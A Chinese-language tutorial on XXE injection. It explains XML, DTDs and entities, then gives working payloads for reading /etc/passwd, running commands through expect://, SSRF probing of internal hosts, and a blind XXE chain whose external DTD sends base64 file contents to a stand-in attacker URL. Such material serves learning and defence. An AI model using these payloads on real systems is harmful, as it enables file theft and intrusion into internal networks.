XXE初探

XXE,即XML外部实体注入,应用程序解析用户可控的XML输入时,未正确处理外部实体引用,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等。

前置知识

关于XML和DTD 可以参看:https://xz.aliyun.com/news/6483
XML的两个关键概念:

XML

可扩展标记语言,设计宗旨是传输数据。
基本格式:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素 每个XML必须有 且其他元素嵌套在根元素内-->
<book category="COOKING"> <!--bookstore的子元素,category为属性 用于描述该元素的额外信息,是附加在“开始标签”内部的键值对-->
<title>Everyday Italian</title> <!--book的子元素-->
<author>Giada De Laurentiis</author> <!--book的子元素 一个完整的元素节点包含元素标签名和内容-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

称为XML prolog,用于声明XML版本和编码 可选 必须放在文档开头;standalone未yes代表DTD仅用于验证文档结构(即外部实体会被禁用),不过默认为no且一些解析器会忽略这一项。
基本语法:

所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
若多个字符都需要转义:

DTD

用于控制XML的格式规范 为XML定义语义约束,DTD可以内联或者被外部引用。
基本语法:

1
2
3
<!DOCTYPE 根元素名 [ ...DTD 内容... ]>
or
<!DOCTYPE 根元素名 SYSTEM "外部DTD文件路径">

用于告知xml解析器此文档遵循的结构规则、定义的实体、哪些元素和属性合法
内联DTD在后面的实体部分有很多体现 这里贴一下外部的DTD引用

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Alice</to>
</note>

这样即可引用外部的DTD,SYSTEM代表引入本地的 PUBLIC代表引用网络上的

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

此外,实体必须在DTD中定义,而 DTD 必须通过 <!DOCTYPE> 引入。

实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
相当于变量 可以被引用 是XXE能够触发的核心

内部实体

内容直接写在DTD中:

例子:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY company "Alibaba Group">
<!ENTITY copyright "© 2026 &company;. All rights reserved.">
]>
<note>
<to>User</to>
<from>&company;</from>
<footer>&copyright;</footer>
</note>

解析结果等价于:

1
2
3
4
5
<note>
<to>User</to>
<from>Alibaba Group</from>
<footer>© 2026 Alibaba Group. All rights reserved.</footer>
</note>
外部实体

外部实体的内容来自外部 URI(如文件系统、HTTP、FTP 等),由 SYSTEM 或 PUBLIC 关键字引入。
内部实体 → 值在 DTD 里写死
外部实体 → 值从 URI 动态加载

例如:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<user>
<info>&passwd;</info>
</user>

可以用于读取本地的/etc/passwd文件。

参数实体

可以理解为
DTD 内部的“宏”或“变量”
普通实体(通用实体)的“DTD 专用版本”
定义方法:

1
<!ENTITY % 实体名 "实体值">

只能在DTD内使用%实体名;的方式进行引用

实体引用

XML预定义五个实体引用,即用< > & ' " 替换 < > & ‘ “

&实体名的方式,即可引用实体

攻击手法

任意文件读取

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT info ANY>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<user>
<info>&passwd;</info>
</user>

这里最好是加上这句 含义是让 XML 解析器接受 <info> 元素包含任意内容(包括文本、子元素等),可以提高攻击成功概率。
有时file协议被禁用 可以尝试php://filter协议读取:
php://filter/read=convert.base64-encode/resource=

命令执行

只有在安装了expect扩展的PHP环境里才行,php默认不安装这个。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

SSRF与内网探测

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ssrf SYSTEM "http://192.168.1.1:80">
]>
<root>&ssrf;</root>

可以用于探测内网服务、端口是否开放

Blind XXE

无回显xxe
blind xxe的本质是通过xml注入 让靶机把内部文件信息发送到我们指定的攻击机上(vps)

首先,构造一个实体 读取本地文件;然后把这个文件的内容作为data拼接给攻击机的url,然后发送请求。这样攻击机上的日志就会记录我们需要的值。

然而,内联DTD不允许我们用参数实体引用动态构造新的实体,XML 规范要求 DTD 必须在解析时是静态、完整的结构;不允许通过参数实体展开后“再解析”为新的 DTD 声明。
因此,我们需要从外部引入一个DTD,只有在外部的DTD中才会对参数实体展开后的结果,重新解析成DTD声明,从而实现动态构造实体。所以,在上文的把这个文件的内容作为data拼接给攻击机的url这一步,需要通过外部DTD实现url的拼接。
流程:
先创建外部DTD:

1
2
3
4
5
6
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;


构造XML Payload:

1
2
3
4
5
6
7
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

代码流程:
1读取本地文件;
2进入外部dtd,在外部dtd里将读取结果拼接到url里
3执行url